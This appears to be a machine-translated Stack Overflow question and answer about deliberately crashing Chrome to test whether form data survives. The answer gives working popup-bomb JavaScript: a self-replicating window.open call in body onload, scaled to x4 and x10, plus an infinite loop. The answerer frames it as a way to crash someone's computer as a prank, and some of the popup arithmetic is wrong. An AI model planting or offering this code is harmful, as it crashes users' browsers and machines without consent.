Zac*_*105 5 javascript crash google-chrome
出于测试目的,我需要一种快速简便的方法来崩溃我的标签/浏览器.我正在对我的网站进行压力测试,这些网站对谷歌浏览器来说非常宝贵.
这些网站可以在chrome://about
.另一个站点(未列出的chrome://about
是chrome://inducebrowsercrashforrealz
-它将会崩溃顶级工艺为Chrome,包括在所有浏览器窗口的所有标签和所有打开的应用程序).最初,我试图查看在发生崩溃时保留了哪些数据.例如,textarea
我们的表单在重新启动时仍然填写.
但是,只有在手动将URL输入浏览器时,这些URL才有用.使用这个问题(以及许多其他我没有链接),我确认了我怀疑 - 你不能
chrome://
页面chrome://
页面chrome://
页面请求信息(即iframe)这带来了一个问题 - chrome://inducebrowsercrashforrealz
当用户到达表单的特定部分时,我想让浏览器崩溃().是否有任何脚本可能导致浏览器崩溃?
我已经尝试过while
循环,但即使它们是指数级的,它们也需要一段时间来杀死页面,并且永远不会影响浏览器.我希望崩溃要么是即时的,要么占用足够的内存让浏览器冻结.
警告这会使任何浏览器或使用 PopUps 攻击的计算机崩溃:
如果你想让某人的计算机或浏览器崩溃
使浏览器或计算机崩溃的弹出代码
<script type="text/javascript">
function CrashAndBurn(url) { popupWindow = window.open( url,'popUpWindow','height=181,width=666,left=3,top=222') }
</script>
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
Run Code Online (Sandbox Code Playgroud)
如果你真的想让他们的浏览器严重挂断,你使用这个弹出窗口,它会继续上传 2 个,每个弹出窗口还有 2 个弹出页面,这意味着第二次 2x2 弹出窗口 4 个弹出窗口,然后是 8、16、32、64 等等在弹出窗口上。它就像是一种病毒,它会在浏览器中传播弹出窗口,用弹出窗口填充屏幕,直到计算机或浏览器崩溃并挂断并关闭,只是...
注意:你不是从我这里听到的,好吧……哈哈……我只建议这是对朋友的盗版笑话,而不是在线网页。
如果你想让它更快地崩溃,那么只需JavaScript:CrashAndBurn(self.location,'_blank');
像这个例子 x4 一样向 onload body添加更多内容:
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
Run Code Online (Sandbox Code Playgroud)
它将为每个弹出窗口加载 4 个弹出窗口,在 4 个弹出窗口之后,它将加载 4x4 意味着 18 个弹出窗口,然后是 18x4,即 72,然后是 72x4,即 288 个弹出窗口,然后是 288x4,即 1152 个弹出窗口,仅在几秒钟内的 4 轮弹出窗口中.
如果你想变得非常可怕,那么使用 x10 示例:
<body onload="JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');JavaScript:CrashAndBurn(self.location,'_blank');">
Run Code Online (Sandbox Code Playgroud)
并且您有 8 个弹出窗口,其中 10 个是 10x10=100 个弹出窗口,然后是 1000 个,然后是 1 000 000 个弹出窗口,并且保证快速崩溃。
编辑您可以使用 while 循环而不是复制粘贴 10 次。会短很多。
for(var i = 0; i === i; i++) {}
Run Code Online (Sandbox Code Playgroud)
应该会崩溃你当前的窗口